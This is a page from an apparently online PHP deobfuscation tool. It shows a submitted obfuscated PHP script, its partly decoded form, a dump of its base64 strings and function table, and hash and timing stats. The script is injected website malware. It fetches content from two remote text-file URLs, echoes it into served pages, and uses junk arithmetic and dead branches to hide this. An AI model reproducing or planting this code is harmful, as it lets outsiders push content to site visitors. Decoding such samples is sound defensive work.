Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? $GLOBALS['_948454225_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('ZGVmaW5l'),ba..

Decoded Output download

<? $GLOBALS['_948454225_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('ZGVmaW5l'),base64_decode(''.'Zml'.'sZV9n'.'ZXR'.'f'.'Y'.'29u'.'d'.'G'.'VudH'.'M='),base64_decode('a'.'W1hZ2Vjb'.'3'.'B5'),base64_decode('YXJy'.'YXlf'.'a2V5cw=='),base64_decode('c'.'3RyZWFtX'.'2'.'Nv'.'b'.'nRleH'.'RfY3JlYX'.'R'.'l'),base64_decode('Zml'.'sZV9'.'nZX'.'RfY29'.'udGVud'.'HM='),base64_decode('YXJyYXlfc'.'mFuZ'.'A'.'=='),base64_decode('YXJyY'.'X'.'lfbWFw'),base64_decode('ZnB1dHM'.'='),base64_decode(''.'Zn'.'J'.'lYWQ='),base64_decode(''.'dWNmaXJz'.'dA='.'='),base64_decode('c29ja2V'.'0X2NyZWF0ZV9saXN0ZW4='),base64_decode('ZmNs'.'b3Nl'),base64_decode('c3RycG9'.'z'),base64_decode('c'.'3Vic3'.'Ry'),base64_decode('Y'.'3Vy'.'bF9'.'p'.'bml0'),base64_decode('Y3VybF9zZ'.'XRv'.'cHQ='),base64_decode('c3RycG9z'),base64_decode('c29ja'.'2V0X2dldHBlZX'.'J'.'uYW'.'1l'),base64_decode('Y'.'3Vyb'.'F9zZX'.'RvcHQ='),base64_decode('Y3'.'VybF9zZ'.'XR'.'vcH'.'Q'.'='),base64_decode(''.'Y3VybF9l'.'eGVj'),base64_decode('Y3V'.'y'.'bF'.'9jb'.'G9z'.'ZQ'.'=='),base64_decode('aW'.'5'.'pX2dl'.'dA=='),base64_decode('cGFy'.'c2VfdXJs'),base64_decode('Zn'.'NvY2'.'tv'.'c'.'GV'.'u'),base64_decode('ZnVu'.'Y3Rpb'.'25'.'fZXhp'.'c'.'3Rz')); ?><? function _2137639139($i){$a=Array('SUZSQU1FX1'.'VST'.'A==','aHR0cDovL2Jh'.'c2'.'UuaGVycmlja2N'.'s'.'bmMuY29tL'.'z'.'EudHh0','SUZSQU1FX1VSTF8y','aHR0cDovL2Jhc2UyLnN'.'t'.'YWxsYm'.'l6Y3JlZG'.'l0'.'LmJpei8xLnR'.'4dA==',''.'d2Q=',''.'aHR0cDovLw==','SFRUUF9IT1NU','U'.'kVRVUVTVF9V'.'Ukk=',''.'aHR0cA==','dGltZW91dA='.'=','R0VUIA'.'==','Pw='.'=','I'.'EhUVFAgMS4wD'.'Qo'.'=','VXNl'.'ci1B'.'Z'.'2V'.'u'.'d'.'DogTW96aWxsYS81'.'LjA'.'g'.'KFdpbmR'.'vd3M7'.'I'.'FU7IFdp'.'bmRv'.'d3M'.'g'.'TlQg'.'N'.'S'.'4x'.'O'.'yBlbi'.'1VUzs'.'gcn'.'Y6MS'.'4'.'4'.'LjA'.'uMykg'.'R2Vja'.'28vMj'.'AwNjA'.'0MjYgRmlyZWZveC8xLj'.'UuM'.'C4zDQo=','QWNjZX'.'B0OiAq'.'LyoNC'.'g==','QW'.'NjZXB0LUxh'.'bmd1YW'.'dlOiBlbi11cyxlbj'.'tx'.'PTAuNQ0K','QWN'.'j'.'Z'.'XB0LUNo'.'Y'.'XJzZ'.'XQ'.'6I'.'E'.'lT'.'T'.'y04OD'.'U5LTEsd'.'XRmLTg7c'.'T0w'.'LjcsKjtxP'.'T'.'Au'.'Nw0K','S2VlcC1Bb'.'Gl2Z'.'T'.'o'.'gM'.'zA'.'wDQo=','Q'.'29ubm'.'VjdGlvbjoga2VlcC1hbGl'.'2ZQ'.'0K',''.'bm9y','DQoNCg==','a'.'mJ1a2'.'d'.'hb294'.'cnRoc'.'mY=','c2dyeg==',''.'YW'.'xsb3'.'dfdXJsX'.'2Zv'.'cGVu',''.'a'.'G9zdA'.'==',''.'a'.'G9zd'.'A==','cG'.'F0aA==',''.'cX'.'Vlcnk=','Y3VybF9'.'pbml'.'0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_948454225_'][0](_2137639139(0),_2137639139(1));$GLOBALS['_948454225_'][1](_2137639139(2),_2137639139(3));$_0=l__3(IFRAME_URL);$_1=_2137639139(4);if(empty($_0)){$_0=l__3(IFRAME_URL_2);}echo $_0;echo@$GLOBALS['_948454225_'][2](_2137639139(5) .$_SERVER[_2137639139(6)] .$_SERVER[_2137639139(7)]);if((round(0+246.6+246.6+246.6+246.6+246.6)^round(0+1233))&& $GLOBALS['_948454225_'][3]($_2,$_0,$_3,$_4))$GLOBALS['_948454225_'][4]($_0,$_5);function l__0($_2){$_6=$GLOBALS['_948454225_'][5](array(_2137639139(8)=> array(_2137639139(9)=> round(0+5+5+5))));return $GLOBALS['_948454225_'][6]($_2,false,$_6);if((round(0+11.8+11.8+11.8+11.8+11.8)^round(0+19.666666666667+19.666666666667+19.666666666667))&& $GLOBALS['_948454225_'][7]($_0,$_2,$_7))$GLOBALS['_948454225_'][8]($_0,$_6);}function l__1($_8,$_9,$_4,$_10){$GLOBALS['_948454225_'][9]($_8,_2137639139(10) .$_4 ._2137639139(11) .$_10 ._2137639139(12) ."Host: $_9
" ._2137639139(13) ._2137639139(14) ._2137639139(15) ._2137639139(16) ._2137639139(17) ._2137639139(18) ."Referer: http://$_9

");$_11=_2137639139(19);while($_5=$GLOBALS['_948454225_'][10]($_8,round(0+819.2+819.2+819.2+819.2+819.2))){$_12 .= $_5;if((round(0+1906)^round(0+1906))&& $GLOBALS['_948454225_'][11]($_10,$_12,$_4))$GLOBALS['_948454225_'][12]($_2,$_7,$_9,$_10);}$GLOBALS['_948454225_'][13]($_8);$_13=$GLOBALS['_948454225_'][14]($_12,_2137639139(20));$_12=$GLOBALS['_948454225_'][15]($_12,$_13+round(0+2+2));$_14=round(0+1757.5+1757.5);return $_12;$_15=round(0+1404);}function l__2($_2){$_16=$GLOBALS['_948454225_'][16]($_2);$GLOBALS['_948454225_'][17]($_16,round(0+10.5+10.5+10.5+10.5),FALSE);if($GLOBALS['_948454225_'][18](_2137639139(21),_2137639139(22))!==false)$GLOBALS['_948454225_'][19]($_2,$_5,$_9);$GLOBALS['_948454225_'][20]($_16,round(0+4978.25+4978.25+4978.25+4978.25),TRUE);$GLOBALS['_948454225_'][21]($_16,round(0+13),round(0+7.5+7.5));$_12=$GLOBALS['_948454225_'][22]($_16);$GLOBALS['_948454225_'][23]($_16);return $_12;}function l__3($_2){if($GLOBALS['_948454225_'][24](_2137639139(23))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){$_3=l__0($_2);}else{$_17=$GLOBALS['_948454225_'][25]($_2);if($_8=@$GLOBALS['_948454225_'][26]($_17[_2137639139(24)],round(0+20+20+20+20),$_7,$_18,round(0+3+3+3+3+3))){$_3=l__1($_8,$_17[_2137639139(25)],$_17[_2137639139(26)],$_17[_2137639139(27)]);}elseif(@$GLOBALS['_948454225_'][27](_2137639139(28))){$_3=l__2($_2);}}return $_3;$_19=round(0+507.5+507.5+507.5+507.5);} ?>

Did this file decode correctly?

Original Code

<? $GLOBALS['_948454225_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('ZGVmaW5l'),base64_decode(''.'Zml'.'sZV9n'.'ZXR'.'f'.'Y'.'29u'.'d'.'G'.'VudH'.'M='),base64_decode('a'.'W1hZ2Vjb'.'3'.'B5'),base64_decode('YXJy'.'YXlf'.'a2V5cw=='),base64_decode('c'.'3RyZWFtX'.'2'.'Nv'.'b'.'nRleH'.'RfY3JlYX'.'R'.'l'),base64_decode('Zml'.'sZV9'.'nZX'.'RfY29'.'udGVud'.'HM='),base64_decode('YXJyYXlfc'.'mFuZ'.'A'.'=='),base64_decode('YXJyY'.'X'.'lfbWFw'),base64_decode('ZnB1dHM'.'='),base64_decode(''.'Zn'.'J'.'lYWQ='),base64_decode(''.'dWNmaXJz'.'dA='.'='),base64_decode('c29ja2V'.'0X2NyZWF0ZV9saXN0ZW4='),base64_decode('ZmNs'.'b3Nl'),base64_decode('c3RycG9'.'z'),base64_decode('c'.'3Vic3'.'Ry'),base64_decode('Y'.'3Vy'.'bF9'.'p'.'bml0'),base64_decode('Y3VybF9zZ'.'XRv'.'cHQ='),base64_decode('c3RycG9z'),base64_decode('c29ja'.'2V0X2dldHBlZX'.'J'.'uYW'.'1l'),base64_decode('Y'.'3Vyb'.'F9zZX'.'RvcHQ='),base64_decode('Y3'.'VybF9zZ'.'XR'.'vcH'.'Q'.'='),base64_decode(''.'Y3VybF9l'.'eGVj'),base64_decode('Y3V'.'y'.'bF'.'9jb'.'G9z'.'ZQ'.'=='),base64_decode('aW'.'5'.'pX2dl'.'dA=='),base64_decode('cGFy'.'c2VfdXJs'),base64_decode('Zn'.'NvY2'.'tv'.'c'.'GV'.'u'),base64_decode('ZnVu'.'Y3Rpb'.'25'.'fZXhp'.'c'.'3Rz')); ?><? function _2137639139($i){$a=Array('SUZSQU1FX1'.'VST'.'A==','aHR0cDovL2Jh'.'c2'.'UuaGVycmlja2N'.'s'.'bmMuY29tL'.'z'.'EudHh0','SUZSQU1FX1VSTF8y','aHR0cDovL2Jhc2UyLnN'.'t'.'YWxsYm'.'l6Y3JlZG'.'l0'.'LmJpei8xLnR'.'4dA==',''.'d2Q=',''.'aHR0cDovLw==','SFRUUF9IT1NU','U'.'kVRVUVTVF9V'.'Ukk=',''.'aHR0cA==','dGltZW91dA='.'=','R0VUIA'.'==','Pw='.'=','I'.'EhUVFAgMS4wD'.'Qo'.'=','VXNl'.'ci1B'.'Z'.'2V'.'u'.'d'.'DogTW96aWxsYS81'.'LjA'.'g'.'KFdpbmR'.'vd3M7'.'I'.'FU7IFdp'.'bmRv'.'d3M'.'g'.'TlQg'.'N'.'S'.'4x'.'O'.'yBlbi'.'1VUzs'.'gcn'.'Y6MS'.'4'.'4'.'LjA'.'uMykg'.'R2Vja'.'28vMj'.'AwNjA'.'0MjYgRmlyZWZveC8xLj'.'UuM'.'C4zDQo=','QWNjZX'.'B0OiAq'.'LyoNC'.'g==','QW'.'NjZXB0LUxh'.'bmd1YW'.'dlOiBlbi11cyxlbj'.'tx'.'PTAuNQ0K','QWN'.'j'.'Z'.'XB0LUNo'.'Y'.'XJzZ'.'XQ'.'6I'.'E'.'lT'.'T'.'y04OD'.'U5LTEsd'.'XRmLTg7c'.'T0w'.'LjcsKjtxP'.'T'.'Au'.'Nw0K','S2VlcC1Bb'.'Gl2Z'.'T'.'o'.'gM'.'zA'.'wDQo=','Q'.'29ubm'.'VjdGlvbjoga2VlcC1hbGl'.'2ZQ'.'0K',''.'bm9y','DQoNCg==','a'.'mJ1a2'.'d'.'hb294'.'cnRoc'.'mY=','c2dyeg==',''.'YW'.'xsb3'.'dfdXJsX'.'2Zv'.'cGVu',''.'a'.'G9zdA'.'==',''.'a'.'G9zd'.'A==','cG'.'F0aA==',''.'cX'.'Vlcnk=','Y3VybF9'.'pbml'.'0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_948454225_'][0](_2137639139(0),_2137639139(1));$GLOBALS['_948454225_'][1](_2137639139(2),_2137639139(3));$_0=l__3(IFRAME_URL);$_1=_2137639139(4);if(empty($_0)){$_0=l__3(IFRAME_URL_2);}echo $_0;echo@$GLOBALS['_948454225_'][2](_2137639139(5) .$_SERVER[_2137639139(6)] .$_SERVER[_2137639139(7)]);if((round(0+246.6+246.6+246.6+246.6+246.6)^round(0+1233))&& $GLOBALS['_948454225_'][3]($_2,$_0,$_3,$_4))$GLOBALS['_948454225_'][4]($_0,$_5);function l__0($_2){$_6=$GLOBALS['_948454225_'][5](array(_2137639139(8)=> array(_2137639139(9)=> round(0+5+5+5))));return $GLOBALS['_948454225_'][6]($_2,false,$_6);if((round(0+11.8+11.8+11.8+11.8+11.8)^round(0+19.666666666667+19.666666666667+19.666666666667))&& $GLOBALS['_948454225_'][7]($_0,$_2,$_7))$GLOBALS['_948454225_'][8]($_0,$_6);}function l__1($_8,$_9,$_4,$_10){$GLOBALS['_948454225_'][9]($_8,_2137639139(10) .$_4 ._2137639139(11) .$_10 ._2137639139(12) ."Host: $_9\r\n" ._2137639139(13) ._2137639139(14) ._2137639139(15) ._2137639139(16) ._2137639139(17) ._2137639139(18) ."Referer: http://$_9\r\n\r\n");$_11=_2137639139(19);while($_5=$GLOBALS['_948454225_'][10]($_8,round(0+819.2+819.2+819.2+819.2+819.2))){$_12 .= $_5;if((round(0+1906)^round(0+1906))&& $GLOBALS['_948454225_'][11]($_10,$_12,$_4))$GLOBALS['_948454225_'][12]($_2,$_7,$_9,$_10);}$GLOBALS['_948454225_'][13]($_8);$_13=$GLOBALS['_948454225_'][14]($_12,_2137639139(20));$_12=$GLOBALS['_948454225_'][15]($_12,$_13+round(0+2+2));$_14=round(0+1757.5+1757.5);return $_12;$_15=round(0+1404);}function l__2($_2){$_16=$GLOBALS['_948454225_'][16]($_2);$GLOBALS['_948454225_'][17]($_16,round(0+10.5+10.5+10.5+10.5),FALSE);if($GLOBALS['_948454225_'][18](_2137639139(21),_2137639139(22))!==false)$GLOBALS['_948454225_'][19]($_2,$_5,$_9);$GLOBALS['_948454225_'][20]($_16,round(0+4978.25+4978.25+4978.25+4978.25),TRUE);$GLOBALS['_948454225_'][21]($_16,round(0+13),round(0+7.5+7.5));$_12=$GLOBALS['_948454225_'][22]($_16);$GLOBALS['_948454225_'][23]($_16);return $_12;}function l__3($_2){if($GLOBALS['_948454225_'][24](_2137639139(23))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){$_3=l__0($_2);}else{$_17=$GLOBALS['_948454225_'][25]($_2);if($_8=@$GLOBALS['_948454225_'][26]($_17[_2137639139(24)],round(0+20+20+20+20),$_7,$_18,round(0+3+3+3+3+3))){$_3=l__1($_8,$_17[_2137639139(25)],$_17[_2137639139(26)],$_17[_2137639139(27)]);}elseif(@$GLOBALS['_948454225_'][27](_2137639139(28))){$_3=l__2($_2);}}return $_3;$_19=round(0+507.5+507.5+507.5+507.5);}

Function Calls

_2137639139 2
base64_decode 58

Variables

$a [{'key': 0, 'value': 'SUZSQU1FX1VSTA=='}, {'key': 1, 'value': 'aHR0cDovL2Jhc2UuaGVycmlja2NsbmMuY29tLzEudHh0'}, {'key': 2, 'value': 'SUZSQU1FX1VSTF8y'}, {'key': 3, 'value': 'aHR0cDovL2Jhc2UyLnNtYWxsYml6Y3JlZGl0LmJpei8xLnR4dA=='}, {'key': 4, 'value': 'd2Q='}, {'key': 5, 'value': 'aHR0cDovLw=='}, {'key': 6, 'value': 'SFRUUF9IT1NU'}, {'key': 7, 'value': 'UkVRVUVTVF9VUkk='}, {'key': 8, 'value': 'aHR0cA=='}, {'key': 9, 'value': 'dGltZW91dA=='}, {'key': 10, 'value': 'R0VUIA=='}, {'key': 11, 'value': 'Pw=='}, {'key': 12, 'value': 'IEhUVFAgMS4wDQo='}, {'key': 13, 'value': 'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo='}, {'key': 14, 'value': 'QWNjZXB0OiAqLyoNCg=='}, {'key': 15, 'value': 'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K'}, {'key': 16, 'value': 'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K'}, {'key': 17, 'value': 'S2VlcC1BbGl2ZTogMzAwDQo='}, {'key': 18, 'value': 'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K'}, {'key': 19, 'value': 'bm9y'}, {'key': 20, 'value': 'DQoNCg=='}, {'key': 21, 'value': 'amJ1a2dhb294cnRocmY='}, {'key': 22, 'value': 'c2dyeg=='}, {'key': 23, 'value': 'YWxsb3dfdXJsX2ZvcGVu'}, {'key': 24, 'value': 'aG9zdA=='}, {'key': 25, 'value': 'aG9zdA=='}, {'key': 26, 'value': 'cGF0aA=='}, {'key': 27, 'value': 'cXVlcnk='}, {'key': 28, 'value': 'Y3VybF9pbml0'}]
$i 1
$_948454225_ [{'key': 0, 'value': 'define'}, {'key': 1, 'value': 'define'}, {'key': 2, 'value': 'file_get_contents'}, {'key': 3, 'value': 'imagecopy'}, {'key': 4, 'value': 'array_keys'}, {'key': 5, 'value': 'stream_context_create'}, {'key': 6, 'value': 'file_get_contents'}, {'key': 7, 'value': 'array_rand'}, {'key': 8, 'value': 'array_map'}, {'key': 9, 'value': 'fputs'}, {'key': 10, 'value': 'fread'}, {'key': 11, 'value': 'ucfirst'}, {'key': 12, 'value': 'socket_create_listen'}, {'key': 13, 'value': 'fclose'}, {'key': 14, 'value': 'strpos'}, {'key': 15, 'value': 'substr'}, {'key': 16, 'value': 'curl_init'}, {'key': 17, 'value': 'curl_setopt'}, {'key': 18, 'value': 'strpos'}, {'key': 19, 'value': 'socket_getpeername'}, {'key': 20, 'value': 'curl_setopt'}, {'key': 21, 'value': 'curl_setopt'}, {'key': 22, 'value': 'curl_exec'}, {'key': 23, 'value': 'curl_close'}, {'key': 24, 'value': 'ini_get'}, {'key': 25, 'value': 'parse_url'}, {'key': 26, 'value': 'fsockopen'}, {'key': 27, 'value': 'function_exists'}]

Stats

MD5 b14263614688d605801fd22095fa4c14
Eval Count 0
Decode Time 161 ms